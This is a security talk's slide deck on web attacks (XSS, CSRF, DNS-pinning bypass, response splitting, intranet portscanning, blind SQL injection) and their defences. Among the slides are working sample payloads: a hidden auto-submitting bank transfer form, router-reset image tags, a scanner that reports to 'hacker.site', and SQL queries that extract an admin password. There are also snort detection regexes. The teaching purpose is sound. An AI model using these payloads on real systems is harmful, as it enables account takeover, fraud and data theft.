Nethemba
all about security

# New web application attacks & protection

We're entering a time when XSS has become the new Buffer Overflow and JavaScript Malware is the new shell code.

Jeremiah Grossman

## Cross Site Scripting (XSS)

- security exploit where information from one context, where it is not trusted, can be inserted into another context, where it is (common javascript injection)
- can be non-persistent (reflected) or persistent (stored)
- 70 % of all web applications (Jeremiah Grossman), 80% of all web applications (Rsnake) are vulnerable to the XSS attack

## Universal Cross Site Scripting (UXSS)

• exploits browser's vulnerabilities instead of XSS vulnerabilities of insecure web sites

• Acrobat Reader plugin is vulnerable to UXSS in #FDF, #XML, #XFDF parameters
http://site/file.pdf#FDF=javascript:alert...

•Universal CSRF / session riding is possible
http://site.com/file.pdf#FDF=http://host.com/

•Possible Remote Code Execution (the memory overflow in FDF=javascript:document.write)

## Cross Site Request Forgery (CSRF)

- “session riding” - a client side attack that exploits implicit authentication mechanisms
- the attacker forces the victim's browser to create http requests to restricted resources
- this can be done without the victim's notice (using iframes)
- trigger for CSFR can be an XSS vulnerability or a social engineering trick (sending a mail with malicious URL)

## Same Origin Policy (SOP)

- defines and limits various rights of JavaScript
- script can communicate only with its origin host (not with arbitrary http hosts)
- but there is an exception – the script can dynamically include elements like images from foreign (cross domain) hosts into the DOM tree of the document that contains JavaScript (this fact can be exploited for malicious purposes, e.g. portscanning)

## CSRF feasibility I.

- HTTP GET requests can be easily injected using <img>, <script> or <iframe> element
- <img src=”http://your_home_router/setup.cgi?your_new_password=”hacked”/>
- <script src=”http://your_home_router/setup.cgi?reset_configuration=”1” type=”text/javascript”></script>
- <iframe src=”http://freemail.com/sendmail.cgi?to=spam_address&mesage=””></iframe>

## CSRF feasibility II.

- HTTP POST requests can be easily injected using HTML forms:

```
<body onload=”document.CSRF.submit()”>
<form name=”CSRF” method=”post”
action=”https://your_favourite_bank”
style=”display:none”>
<input name=”my_account” value=”123456”/>
<input name=”your_acount” value=”654321”/>
<input name=”amount” value=”1000000”/>
</form>
</body>
```

## CSRF feasibility III.

- HTTP POSTs can be injected also using AJAX
```
if (!xmlhttp && typeof
XMLHttpRequest!='undefined') { try
{  xmlhtttp = new XMLHttpRequest(); }
catch (e) { xmlhttp=false; }
xmlhttp.open(“POST”, “/”, true);
xmlhttp.setRequestHeader(“Header”,”Value”);
...
xmlhttp.send(“data”);
xmlhttp.close();
```

## XSS / CSRF impact I.

- session stealing
- bruteforce basic auth credentials
- scan for available browser extensions
- bruteforce visited resources
- network sweeper / portscanner
- fingerprinting of intranet hosts
- request builder / google Search

## XSS / CSRF impact II.

- Attacking intranet servers (exploiting unpatched vulnerabilities, opening home networks, leaking intranet content)
- The complete control over CSRF-vulnerable websites (which do not implement CSRF countermeasures)
- There is a possibility to break the same-origin policy by undermining DNS pinning!!!

## Breaking the same-origin policy by undermining DNS-pinning I.

- the victim loads the script from www.attacker.org
- the attacker changes the DNS entry of www.attacker.org to 10.10.10.10
- the attacker also quits the web server that was running (or add a dynamic firewall rule to reject further connections)
- the script uses a timed event (setIntervall or setTimeout) to load a web page from www.attacker.org

## Breaking the same-origin policy by undermining DNS pinning II.

- the web browser tries to connect the IP which is bound to www.attacker.org from the previous request – this connection attempt is rejected
- because the connection was rejected, the browsers drops the DNS pinning and does a new DNS lookup request, resulting in 10.10.10.10
- the script is now able to access the intranet server's content and leak it to the outside!!!

## Prototype Hijacking

- JavaScript methods (e.g. XMLHttpRequest) can be easily cloned – every cloned object will be a wrapper clone and not a clone of the original one
- var xmlreqc = XMLHttpRequest;
  XMLHttpRequest = function() {
  this.xml = new xmlreqc(); return this; }
- MITM is possible (it is possible to dynamically intercept all data or modify it by using any function)

## Cache poisoning / HTTP Response splitting

- with CRLF injection it is possible to force a cache device (proxy) to cache the crafted poisoned requests as opposed to real data
- this is done via the use of 3 manually set headers ("Last-Modified", "Cache-Control", "Pragma")
- GET /resp_split.php?page=http://site%0d%0aHTTP/1.1%20%20%20OK%0d%0aLast-modified:%20Sun,%2030%20Aug%202020%2023:59:59%20GMT%0d%aContent-Type.....

## Portscanning the intranet I.

- using Javascript (the script can include images, iframes, remote scripts, ..) - time-out functions and eventhandlers (onload/onerror) are used to determine if the host exist and the given port is open – but we need to know an IP range to scan)
- java-applet can be used to obtain the IP address (IP range) of the computer that currently executes the web browser
- fingerprinting is also possible (by requesting URLs that are specific for a specific device, server or application)

## Portscanning the intranet II.

- without Javascript
  for ($i = 1; $i < 256; $i++)  { echo ' <p>testing ip <b>192.168.1.'.$i.'</b></p>
  <link rel=”stylesheet” type=”text/css” href=”http://192.168.1.'.$i.'/'”/>
  <img src=”http://hacker.site/scan.php?ip=192.168.1.'.$i.'&s='.time().' />'; flush ();
  sleep(3); }
- the page loading would wait for the <link> tag to be processed before rendering the rest of page

## Portscanning the intranet III.

- using “Socket” in flash browser plugin
- from Flash documentation: “The socket class enables ActionScript code to make socket connections and to read and write data.”

## Blind SQL injection I.

- SQL injection when the application does not return error messages
- But http://www.thecompany.com/script?articleID=3 AND 1=1 returns different answer than http://www.thecompany.com/script?articleID=3 AND 1=0
- we use this behavior to ask the database server only true/false questions !

## Blind SQL injection II.

- http://www.thecompany.com/script?articleID=3 AND ascii(lower(substring(SELECT user_password FROM user WHERE user_name='admin'),1,1)) = 111
- To avoid using of apostrophes we can use hexadecimal representation ('admin' = 0x61646D696E, 'root' = 0x726F6F74, 'administrator' = 0x61646D696E6973747261746F72
- Blind SQL injection can be fully automatized

## Blind SQL Injection III.

- what if it is not possible to find a difference with two conditions?
- we use TIME DELAY technique!
- SELECT IF (user='root'), BENCHMARK(1000000,MD5 ('x')),NULL) FROM user
- it can be slow, but works!

## Cross Site Scripting (XSS) protection

- encode (HTML quote) all user-supplied HTML special characters, thereby preventing them from being interpreted as HTML
- filter all user-suplied HTML metacharacters (snort regexp  /((\%3C)|<)[^\n]+((\%3E)|>)/i)
- tie session cookies to the IP address of the user who originally logged (anti-stealing protection) – not sufficient where the attacker is behind the same NAT IP
- disable JavaScript (client-side) scripts

## Cross Site Request Forgery (CSRF) protection

- switching from a persistent authentication method (e.g.cookie or HTTP auth) to a transient authentication (e.g. hidden field provided on every form)
- include a secret, user-specific token in forms that is verified in addition to the cookie
- “double submit” cookies (AJAX)
- using Captcha (Completely Automated Public Turing test to tell Computers and Humans Apart)
- using e-mail or SMS verification

## SQL injection protection I.

- filter all user supplied metacharacters (the single quote (') or the double-dash (--), snort regexp /((\%3D)|(=))[^\n]*((\%27)|(\')|(\-\-)|(\%3B)|(;))/i – DBI::quote in perl, mysql_real_escape_string in PHP
- bind sql parameters to the SQL query via APIs (DBI::prepare in Perl, mysql_stmt_bind_param in PHP, PreparedStatement class in Java, .AddWithValue in C#)

## SQL injection protection II.

- “the least-privilege” concept for all tables/databases
- using stored procedures (user input is filtered by parameterizing input parameters, an application would have execute access to a stored procedure, but no access to the base tables)
- rather than blacklisting known bad input, is to only allow (whitelisting) known good input

## Web Application Firewalls (WAFs)

- when you choose your WAF read http://www.webappsec.org/projects/wafec/
- mod_security (perhaps the best opensource WAF, strongly recommended)
- URLscan (Microsoft IIS ISAPI filter)
- commercial products (NGSecureWeb, SecureIIS, Teros, TrafficShield from F5, SingleKey, Profense, NC-2000, iSecureWeb, Interdo from Kavado, BreachGate WebDefend)

## References I.

- Martin Johns: “A First Approach to Counter “JavaScript Malware”
- Stefano Di Paola: “Subverting AJAX”
- Illia Alshanetsky: “Networking Scanning with HTTP without JavaScript”
- http://www.gnucitizen.org
- http://www.jumperz.net
- http://polyboy.net/xss/dnsslurp.html

Nethemba
all about security

## References II.

- http://www.spidynamics.com/whitepapers/Blind_
- http://en.wikipedia.org/wiki/Cross-site_request_fo
- http://en.wikipedia.org/wiki/Cross_site_scripting
  blind SQL injection tools:
- http://sqlmap.sourceforge.net
- http://www.sqlpowerinjector.com
- http://reversing.org/node/view/11/

Nethemba
all about security

# Thank you for listening!

Ing. Pavol Lupták, CISSP, CEH
nethemba@nethemba.com